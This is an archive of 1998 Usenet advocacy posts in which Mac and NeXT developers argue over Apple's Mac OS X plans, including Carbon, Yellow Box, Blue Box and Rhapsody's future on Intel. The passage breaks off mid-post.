NNTP-Posting-Date: Wed, 13 May 1998 10:17:01 PDT
Organization: TWC Road Runner, San Diego, CA
John C. Randolph wrote in message <6jbp3h$eua$10@news.idiom.com>...
> Mike Paquette may or may not have said:
>-> Abraham Guyt <guyt@is.twi.tudelft.nl> wrote:
>-> > Below a repost of a mac.advocacy newspost. One very important aspect
is
>-> > that Quickdraw is NOT supported by Carbon.
>->
>-> This turns out not to be the case. QuickDraw is an integral element of
>-> the Carbon APIs, and will see substantial enhancements for MacOS X.
>
>Mike, the next time it comes up at a meeting, please pass this along:
>
>I WANT MY POSTSCRIPT!
>
I've been reading DPS is out (see various Mac 'news' sites) but QuickDraw is
in (see Apple's Carbon PDF). For the life of me I cannot understand that.
Wasn't the point of keeping DPS is to satisfy a desire of the "content
creation community" to see a unified imaging model?
Clearly, QuickDraw isn't up to the task of doing what Apple has seen is
needed or GX wouldn't have been developed. DPS wouldn't have been kept for
Rhapsody (at least up to this point it seems). What's changed??
I don't have any problem with them mapping QuickDraw calls to DPS as part of
the Carbon effort but replacing DPS outright with what? QuickDraw? Taligent
graphics? Something new?
Any ideas?
It's not surprising people don't know Yellow Box is alive or not because
Jobs said (paraphrased) "All lifeforms will be based on Carbon." It was
clear he was using the future tense from every quote I've seen. Will YB map
to Carbon's API's? Is YB dead? Will Interface Builder be reworked to allow
you to build carbon-based apps?
--Ed.
Wishing I'd gone WWDC.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple's OS strategy explained.
Date: 13 May 1998 09:55:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F1E7C-2396B@206.165.43.172>
References: <35598169.7E5DC5ED@milestonerdl.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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M Rassbach <mark@milestonerdl.com> said:
>
>
>Jeremy Reimer wrote:
>
>> However these applications when run under Rhapsody
>> need to use the Yellow-to-Black translation layer, codenamed Forte,
>which
[...]
>> However you should not code for the Purple Box if you intend
>> for your applications to run on the Yellow, Red, Blue or Black boxes,
>> instead, you should use the upcoming Mac OS XVI Gold Box, which will
only
>> run on G4 computers, but which emulates System 7.5 and earlier using the
>> Mauve Box for full compatibility.
>
>Errrr yea. Do you have a color chart that explains this better :-)
You should see how they have implemented the Color Picker for this...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 11:25:38 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559C982.713E616C@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <drcohen-1205981218210001@sjc-ca6-09.ix.netcom.com> <%k261.1934$sy4.3477418@news.rdc1.sdca.home.com> <rmcassid-1205981503570001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> If true, Carbon apps could be every bit as cross-platform as YellowBox apps.
And if YellowBox were to be cross-platform to NT5/98 and the old OpenSTEP
Solaris/HP-UX, that would be marvie. Add in a *BSD/Linux and this would be mopping
up the floors....with a sales pitch that 'Apple just makes the better hardware'
would be a very positive growth model for Apple. (ASSUMPTION: That 'quality/brand
name sells' and that the Apple brand isn't a negative one)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 17:10:56 GMT
Organization: P & L Systems
Message-ID: <6jck70$1cc$25@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<6j9ctj$15e$1@crib.bevc.blacksburg.va.us> <see-below-1205981900020001@209.24.240.213>
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Cc: see-below@not-my-address.com
In <see-below-1205981900020001@209.24.240.213> Matthew Vaughan wrote:
> Carbon is a replacement for Blue Box, but it otherwise totally different.
>
From one perspective, yes (in that it offers MacOS developers a better path
to the future than BlueBox did), however from the technical perspective it's
a partner to BlueBox.
You could almost say that
Carbon is to MacOS APIs what BlueBox is to MacOS Apps.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 13 May 1998 17:04:25 GMT
Organization: P & L Systems
Message-ID: <6jcjqp$1cc$23@ironhorse.plsys.co.uk>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3559AAE5.820270F0@milestonerdl.com> M Rassbach wrote:
> > Yeah, you keep running around here saying that, but Apple has never said
> > that the cross-platform aspect is gone.
>
> And so far, no one can show a public statement committing to NT5/98.
>
Oh for heaven's sake, not that again.
(a) M$ hasn't released '98 yet. Apple is wary enough now about
pre-announcing its own products, do you really think they're going to say
something about a competitor's unannounced product?
(b) Why should YB not work on 98 / NT5?
> And they are... NT4/95. Now, why develop for YellowBox if all it's gonna
do is
> NT4/95 when Microsoft has NT5/98 in the pipe?
>
Because it's the API of the future for MacOS.
What part of that didn't you understand?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 17:06:31 GMT
Organization: P & L Systems
Message-ID: <6jcjun$1cc$24@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com>
<ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
<35583135.7CE2CEC9@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <35583135.7CE2CEC9@milestonerdl.com> M Rassbach wrote:
> Yup. But, what is the status of that API - called YellowBox.
>
> The course wasn't clear...and still isn't.
>
Yes it damn well is clear. It's the preferred API for new and future MacOS
development.
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 10:39:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17F28B5-4A05F@206.165.43.172>
References: <rmcassid-1205981503570001@dante.eng.uci.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Robert Cassidy <rmcassid@uci.edu> said:
>Clearly the MacOS people don't belive in rewriting apps. Hell, even the
>Windows people won't buy that one. So Apple will hand hold them, feed them
>a little here, and a little there, and so on until they get there. It's
>68k -> PPC all over again folks.
>
>If true, Carbon apps could be every bit as cross-platform as YellowBox
>apps.
I'm not so sure. There's endian issues in there someplace, I think.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 13 May 1998 17:29:07 GMT
Organization: P & L Systems
Message-ID: <6jcl93$1cc$26@ironhorse.plsys.co.uk>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com>
<Esvx8v.6n8@micmac.com>
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Cc: nospam@micmac.com
In <Esvx8v.6n8@micmac.com> Michel Coste wrote:
> And since Rhapsody was never the official name of the future system we can
> say that nothing has changed...
>
Except that unfortunately Rhapsody will now be released as "Rhapsody".
I say unfortunately purely from the perspective of an OPENSTEP developer: the
strategy Apple has outlined is technically very good for us; from the
marketing perspective it makes things difficult. The average customer is
going to need a lot of convincing that Rhapsody 1.0 isn't just going to be an
orphaned product on release -- if you need proof look at how many people here
still think Rhapsody's dead. This means that it's going to be a lot more
difficult gaining new sales than it need have been had the strategy been more
transparent. Making the strategy more transparent, however, might have been
the greater of the two evils.
Best wishes,
mmalc.
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: Wed, 13 May 1998 10:50:32 -0700
Organization: University of British Columbia
Message-ID: <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca>
References: <3559973E.12D2EC2C@milestonerdl.com>
M Rassbach <mark@milestonerdl.com> wrote:
> This http://www.macintouch.com/m10jorg.html is more like it.
>
> Still doesn't answer the cross-platform YellowBox, nor the Intel
> Rhapsody questions, but one step at a time.
I particularly like the implications of the block diagram:
blue_box carbon yellow_box BSD
| | | |
| | | |
________________________________________
shared system services
________________________________________
core OS
-- suggesting a more gradual step-by-step transition path from System 8
apps to interim "carbonized" ones and finally to Yellow Box apps.
(Or finally, if you're a Unix/X devotee, to BSD. :^)
--
Bruce Bennett
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 11:55:42 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559D08E.CC749854@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <3559AAE5.820270F0@milestonerdl.com> M Rassbach wrote:
>
> > > Yeah, you keep running around here saying that, but Apple has never said
> > > that the cross-platform aspect is gone.
> >
> > And so far, no one can show a public statement committing to NT5/98.
> >
> Oh for heaven's sake, not that again.
>
> (a) M$ hasn't released '98 yet. Apple is wary enough now about
> pre-announcing its own products, do you really think they're going to say
> something about a competitor's unannounced product?
Hence my Friday comment...Win98 has a Friday release date, and if the 'YellowBox
is to ship included with NT5/Win98' rumor is true, Friday would be a good day to
mention it.
> (b) Why should YB not work on 98 / NT5?
Again, Microsoft-centric applications have a history of breaking at the time of
a Microsoft OS upgrade. What is Apple's level of commitment? None, that I see.
> > And they are... NT4/95. Now, why develop for YellowBox if all it's gonna
> do is
> > NT4/95 when Microsoft has NT5/98 in the pipe?
> Because it's the API of the future for MacOS.
> What part of that didn't you understand?
Thank you for PROVING what I'm suspecting:
Tell everyone YellowBox is cross-platform
Yank the Intel support and say 'but you can run under MacOS'
Or, do you TRUST Apple?
Message-ID: <3559DE39.3148786C@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
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Date: Wed, 13 May 1998 17:50:30 GMT
NNTP-Posting-Date: Wed, 13 May 1998 13:50:30 EDT
Michael Benedetti wrote:
>
> It seems that Jobs is jettisoning all the bad ideas of the previous regimes.
In general terms, though, it's called "throwing out the baby with the
bath water."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 17:46:27 GMT
Organization: P & L Systems
Message-ID: <6jcm9j$1cc$28@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu>
<3559A517.5562EE28@sys.uea.ac.uk>
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Cc: re@sys.uea.ac.uk
In <3559A517.5562EE28@sys.uea.ac.uk> Ralph Elliott wrote:
> Pulsar wrote:
> > Mac OS X is Rhapsody renamed.
> >
>
> Repeat it if you like, but that won't stop it being, at best, a half-truth.
> "Rhapsody" -- according to Apple's great pitch to developers at WWDC 97 --
denotes
> a system which is (was?) to be made available on Intel systems. There's no
> indication that this is so for Mac OS X -- indeed rather the opposite.
>
Even if it is true that MacOS X won't run on Intel, it does not mean that
"Mac OS X is Rhapsody renamed" is anything like a half-truth. Something
closer to 99.9% true would be about right.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 17:43:04 GMT
Organization: P & L Systems
Message-ID: <6jcm38$1cc$27@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk>
<6jcjs4$6ns$1@msunews.cl.msu.edu>
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Cc: spammers@ruin.the.internet.channelu.com
In <6jcjs4$6ns$1@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> In <6jbrd7$1cc$13@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> 1) I have written the same equation
> MacOS X = Rhapsody + Carbon
>
> But reading along today I wondered about something. Wasn't BlueBox
> in Rhapsody supposed to be fully MacOS (at least 8.x don't know about 7)
> compatible.
[...]
> So now I wonder why Apple whips up Carbon. Clearly it is to reach
> out to the slew of MacOS developers and to try to get them to clean
> up their code. But was there something wrong with the above bluebox
> solution.
>
Yes: basically BlueBox relegated MacOS apps and MacOS developers to being
second class citizens in a compatibility environment.
What Carbon does is to allow MacOS developers to rework their MacOS apps
slightly and gain equal rights on Rhapsody (aka MacOS X).
The following may make this clearer, although I'm not sure just how accurate
it is:
Carbon is to MacOS APIs what BlueBox is to MacOS Apps
> If your coding for Yellow Box you
> can whine about the licensing fees being $20
>
whine! :-)
Actually, it could be a lot worse. This is a pain in the bottom, but at
least we still have our legs.
Best wishes,
mmalc.
From: simpson@nospam.cts.com (Michael Simpson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: Wed, 13 May 1998 17:57:13 GMT
Organization: QUALCOMM, Incorporated; San Diego, CA, USA
Message-ID: <3559deb7.90979081@news>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j487r$ibo$1@bignews.shef.ac.uk>
On 10 May 1998 12:57:31 GMT, mmalcolm crawford <m.crawford@shef.ac.uk>
wrote:
>I am quite sure that you have some sort of installation problem. Did you
>install all the relevant binaries? You should only be clicking boxes for
>binaries you have installed --
My thought is: Why does the interface allow you to click on a check
box for a product you do not have installed?
>if you're trying to compile for Sparc, for
>example, on Prelude to Rhapsody, and don't have the Sparc binaries installed,
>you'll have problems. Similarly, if you're running RDR, as far as I could
>tell from demos of Project Builder, it still has buttons for compiling on
>NeXT and Sparc, and yet as far as I'm aware versions of RDR were never
>produced for those platforms. So again, if you tried compiling for either of
>those platforms, you'll be sunk.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 18:03:23 GMT
Organization: Michigan State University
Message-ID: <6jcn9b$6ns$2@msunews.cl.msu.edu>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca>
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Cc: poundmacvits@hotmail.com
In <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> "Raymond S." wrote:
> I know almost everyone here has started to basically agree what MacOS
X is
> and what will happen to the Yellow Box and Rhapsody, but there seem
to be a
> few that are not quite up to speed on the discussion. For instance
someone
> just posted that OSX is simply Rhapsody renamed and Carbon is just
the Blue
> Box renamed...WRONG! So I just thought I would summarize what seem
to be
> the most likely answers to the most common questions.
I think you are twisting things to fufill your real possibly valid
bitch at Apple
(see below).
As far as we know YB is intact and getting a Java toupee :)
Effectively
there is NO reason to assume the plans laid out for YB and the Java
part
of Rhapsody are going to change dramatically for MacOS X (which I will
also call Rhap 2.0)
> 1. MacOS X will essentially be Rhapsody, including the Mach MK,
Yellow Box,
> and Blue Box and Carbon; however, the blue is so far only speculation
based
> on un-Carbonized applications still being able to running with out
taking
> advantage of the modern OS buzzwords (PMT, PM, etc) (is buzzword de
facto
> buzzword now?). Will not be available on Intel.
Most of this is true - I think it is still uncertian whether the
BlueBox will be
Carbonized or not in MacOS X. As to not being available on Intel - I
don't
care, and I don't know any other die-hard MacOS/PPC person who would.
They probably exist though. I don't think there is significant reason
to do
Carbon for Intel - and performance will probably suck. Frnakly if
Apple
does Carbon for Intel they will be slapping the YB programmers hard
in the face. Get it once and for all. YB is where it's at - Carbon
is
only a bootstrap to get MacOS developers to come on board. I am
hoping Apple is working on a way to get Carbon apps to YB. Then
won't all those MacOS developers be happy!!
> 2. Carbon will not simply be the Blue Box but will be 75% of the
current
> MacOS APIs available as native full members of the OS; Carbonized
> applications running in MacOS X will have access to all the
buzzwards.
> Carbon will also be available as add on compatibility libraries for
pre-X
> versions of MacOS, these applications will not have access to the
buzzwards
> in these non MacOS X systems. Carbon will not be available on Intel.
Yes this sucks. Cut Apple some slack here. I'm not a MacOS
programmer
but I'm sure the cruft that is being cut out is important to have the
buzzwords.
Do you want seamless Multicpu support? Do you want preemptive
multitasking?
Do you want true memory protection? Then shut the heck up and take the
lump. I think Apple is doing the best it can here - and everyone is
fricking
griping.. Relax for a little bit. There are other reasons to gripe
(possibly).
As far as a MacOS developer goes I would think they should be very
happy
for Carbon, while also wondering whether bluebox on Rhapsody will
support
their existing apps. Apple has stated repeatedly that Bluebox
wouldn't
be able to run everything - especially stuff that wants to grab
directly at
the hardware. And to get all those buzzwords you have to get your
crufty
hands out of the lower bowels of the hardware and let Mach do it's job.
> 3. Blue Box will be the same as it is today, except invisible, a
> emulator/run-time-environment (not the time or place for that
argument) for
> pre-Carbon ( <MacOS8) applications. Apple will probably make the
Blue Box
> as unobvious as possible, meaning that you would only be able to tell
you
> are running non-Carbon MacOS applications if one of the crashes and
takes a
> number of other applications (other Blue Box applications) down with
it.
> Will not be available on Intel.
It is hard to say how Bluebox is going to evolve - I don't see any
definative
word on what calls BlueBox will implement on Rhapsody vs. MacOS
X/Carbon.
Right now I expect BlueBox is pre-carbonized. When it hits MacOS X I
see
no reason to remove the pre-carbonized functionality, but it may be
that if
at run time it can be determined that an app has been carbonized that
it
will run a slightly different Bluebox than now in Rhapsody. So we
could
say that right now we have Bluebox(precarbon-BC) and later we'll have
Bluebox(postcarbon-PC) whether we will have them both (BC - with all
the crash prone gunk) or (PC- cleaner, less crash prone, etc.) in MacOS
X
is yet to be seen. Also what Bluebox(BC) and (PC) are going to look
like is still to be seen. I don't have a PPC (yet!) so I won't be
able to tell :(
> 4. The Yellow Box will be available to MacOS X and pre-X MacOS's for
sure
> and maybe for Intel (as Rhapsody) and even more possibly for Windows
95/NT.
> In fact the Rhapsody plans for everything except the PPC should
remain
> exactly as they were previously announced, except maybe no Yellow Box
for
> pre-X MacOSs. Although no one is absolutely sure of these
possibilities it
> makes absolute sense for Apple to maintain it's plans for the cross
platform
> capability of the Yellow Box. The key benefit would be that
developers
> writing new software would be able to write and deploy on many
systems. The
> key benefit for Apple would be more developers. Carbon should be
promoted
> by Apple only for developers who have huge investments in the MacOS
APIs,
> such as Adobe or Macromedia, all new developers or developers
creating new
> software should be encouraged to use the Yellow Box development
environment.
There is no maybe. At least for DR2 Rhapsody for Intel is on track.
There is no
reason why not to expect a Intel version of Rhapsody 1.0. YB for
95/NT
is still on track and runtime fees will be around $20/per. As to
Yellowbox
for pre-X MacOS's this is also still uncertian, but I do remember Mike
Paquette
saying something like "now you know how we'll get Yellow box for MacOS"
and that was somehow through MacOS X (perhaps through Carbon??). So
the MacOS pre-X folks may be pleasantly suprised around the corner..
As to your comments on cross platform - this is exactly what Apple is
saying.
YB for all new developments, MacOS for all the big guys who couldn't
pallet
porting to YB so fast. Crossplatform with YB are the keys to the
future for
Apple I suspect. Apple is realizing they have to somehow make a
easier
transition for the MacOS developers and Users. Bluebox was first for
Users
now Carbon for developers. Apple hoped all the developers would jump
on YB - they didn't and now Apple is reaching out. If they don't
reciprocate
then Apple is going to have to ditch them - and somehow induce the YB
players to write apps with for legacy compatibility reasons.. This is
a big
problem for Apple - getting the core 3rd party applications to YB. I
think
Apple probably scared the piss out of the 3rd party MacOS developers
when
they stomped the cloners so bad. If the MacOS dev's don't come now
then I say screw them. The YB developers will pick up the slack and
compete
with the big guys in their new domains 95/NT. If this isn't a reason
to port
a mac app to YB then there isn't one - and the big guys deserve to go
under.
Get the message Adobe, Macromedia, etc. Start porting to YB now
you'll be much happier in the future with 95/NT/MacOS X and possibly
others if YB gets ported to other systems. This is something Apple
should
have hinted at if it's in the plans. Hell a Yellow Box for Linux or
MkLinux
would shake everyone up really hard. It would demonstrate a lot of
things.
And I also think this is the reason for MacOS X moving from DPS to X.
So that YB can be ported to just about every unix under the sun w/o
having to
cough up to Adobe..
>
> 5. MacOS X will definitely run on G3 Macintoshes, but not those that
are
> upgraded from non-G3 systems. Definitely not 601s or Nubus machines,
> possibly the 603 and 604 PCIs but, from the wording of the
announcements and
> press releases, probably not. This sucks but with Rhapsody 1.0 about
to
> ship, and it's ability to run on 603 and 604 PCI Macs, Apple's past
promise
> of the new OS (Rhapsody not MacOS X) running on all Macs shipping in
January
> 1997 is fulfilled. The fact that this new OS (Rhapsody not MacOS X)
will
> never have the chance to become viable (it'll ship about 6 months
before the
> MacOS X goes beta) of course doesn't matter. Again, this sucks, I
bought a
> 601 Mac as soon as they were available, only to be told a couple of
years
> later that I should have waited because Rhapsody would only run on
603/604
> and future Macs. Then I bought a 604e soon after Rhapsody was
announced and
> we were informed that it would run on all currently shipping Macs, I
figured
> "I can't lose", ...wrong again, MacOS X won't run on it...THIS NEVER
HAPPENS
> ON THE WINTEL SIDE DAMMIT!!!. I mean let's face it, MacOS X is
basically
> Rhapsody with the 6000 clean Mac APIs. And since Rhapsody already
runs on
> 603/604 based Macs it can't be that far fetched or difficult to
include
> these machines for MacOS X, which makes it look like Apple's attempt
to get
> everyone to upgrade their boxes...again. Yes Apple has said that the
> standard MacOS (8) will still be viable and will be upgraded but that
> doesn't cut it. The millions of 603/604 machines that were told they
would
> run Apple next generation OS are still left out to dry. Please
Apple, make
> the 603/604 PCI Macs full members of the MacOS X family.
I don't have PPC hardware but I would find it suprising that Apple
would
dump all the pre G3 drivers in MacOS X. It might be that they'll
upgrade Mach
to be fully 3.0 which might cause rewrites of some drivers. This is
uncertian.
I'm sure Apple doesn't want to alienate the PPC purchasers but I think
they
have firmly decided they don't want to support NuBus Macs. End of
story
here. As to Rhapsody not given a chance to become viable - bull just
because
they are going to change the name and modify some functionality doesn't
mean
the real core of Rhapsody (YB) won't be given a chance. As to your
plight
with the 601 - was Rhapsody even on the horizon? I doubt it. Apple
purchased
NeXT in Jan, 97. There was no way you could know much before then.
That you got a 604e for Rhapsody1.0 and Rhapsody2.x etc and will get
stiffed
if you can't run Rhapsody 2.x - YES this is absolute bull. And would
really
piss me off if I had done the same - I waited for many reasons - and am
still
waiting. The question will be whether the kernel gets a facelift for
MacOS X
and if so they may drop the 604/603 machine support. I would hope
they
would at least keep support for the core machines (8500, 8600, 9500,
9600)
how hard could that be?
I would stand with you that Apple at least support the 603/604 PCI
MAC's
in MacOS X. If they play on giving YB on Mach for intel then there is
no
reason not to. Geeze that makes me wonder if YB on Mach will die also
and we'll be stuck with YB on 95/NT with the Mach version only for PPC
when MacOS X comes out. I hope this isn't true. The more I think
about
it the more I think this scenario might come about - force them to PPC
says jobs - and we'll be the only PPC vendor. If they are even
thinking
of Merced though they better not dump Intel support, which might make
it likely to support 603/604 PCI based Power Macs. It's a toss up
here.
> 6. MacOS X will likely have most of it's UNIX services striped out.
They
> will then either sell a version of MacOS X that has them added back
in, as a
> server OS, or simply continue to ship Rhapsody including all the UNIX
> services but minus Carbon and possibly the entire Blue Box as a
server OS.
I sure as heck hope not, and can't see how this could be pulled off.
Maybe they could but they will have to offer a bundle with them in.
This would be because the MacOS weenies bitched to hard about
having Unix underneath. Now wouldn't it be a change if the MacOS
folks started whining about having Unix services unbundled. It would
serve you all right. I as a former NeXTian would miss them along
with the shell dearly. And it would be the last straw for me probably
unless there were suitable replacements.
> 7. The MacOS X applications that Avie demo'ed on Monday were running
under
> Rhapsody using the new Carbon APIs...not in the Blue Box as some have
> maintained. The applications were little buggy but they were also
the
> result of a very small number of man hours spent converting them from
the
> MacOS APIs to the Carbon APIs. This shows how relatively easy the
rest of
> the conversions could be (not will be...could be) and it also shows
how the
> Carbon API's took full advantage of Rhapsody's advanced OS features.
Again
> Rhapsody = Yellow Box + Blue Box + Java + MacOS look and feel, and
MacOS X =
> Rhapsody + Carbon.
I'm not sure MacOS X= Rhapsody + Carbon - there still remains the
question
whether BlueBox will be (BC) or (PC) in that case. at least in my
mind.
I am actually wondering whether Rhapsody BlueBox will be BlueBox(PC)
alpha or beta?? We still won't know till it ships.
> 8. Carbon is being introduced because almost none of the major Mac
> developers had signed up for porting their applications to yellow
box. This
> makes sense, they had millions of dollars invested in millions of
lines of
> code that could not be easily ported to the Yellow Box. Time
estimates were
> at least 2 years to do a full port of a complex application whereas
> Carbonating a large application is estimated to take only a few
month.
>
Yep. And this is true, and hopefully they'll take advantage of it.
Thing is
at some point they will have to get to YB. Carbon just buys them some
time.
And in fact the time frame we're all looking at for MacOS X is about
the time
a YB port could happen for the big players if the estimates are right.
So which would you rather do? Wait 2 years to port to carbon, or start
porting to YB now - and get 95/NT/Rhapsody/MacOS and possibly other
OS's if YB is ported!!
I know what I'd choose..
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 15:09:36 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1305981509360001@jchristie.halifaxcable.dal.ca>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244> <35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk>
Everyone in this thread please read
http://www.macintouch.com/m10jorg.html before continuing any further. It
doesn't cover everything (Yellow box on MacOS?).
It is by the project lead for Virtual PC.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 13:17:32 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1305981317320001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu>
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In article <6jcjs4$6ns$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> In <6jbrd7$1cc$13@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> > In <mcasse-2708561357200001@line8047.ras.ilstu.edu> Matt Casselman
> wrote:
> >
<snip>
> So now I wonder why Apple whips up Carbon. Clearly it is to reach
> out to the slew of MacOS developers and to try to get them to clean
> up their code. But was there something wrong with the above bluebox
> solution. I'm sure they couldn't run everything for various reasons
> and maybe Carbon IS the complete bluebox solution - meaning if
> your compatible with Carbon you will most certianly run on everything
> MacOS 7, 8, Rhapsody, MacOS X and take advantage of 'native'
> calls.
The problem with the Blue Box relative to Carbon is that apps running in
the Blue Box see exactly the same environment as they saw in the Mac OS.
That is, they can merrily romp on each other's memory and greedily hog all
the processor time (that is all the processor time given to the Blue Box).
In short, within the Blue Box, you have exactly the same environment as you
do with the Mac OS.
What Carbon does is allow developers to re-tune their apps to the Carbon
APIs. Using the new Carbon APIs, these apps can be brought out of the Blue
Box and each have their own protected memory partitions and be preemptively
multitasked. Carbon apps are allowed to take advantage of the same core OS
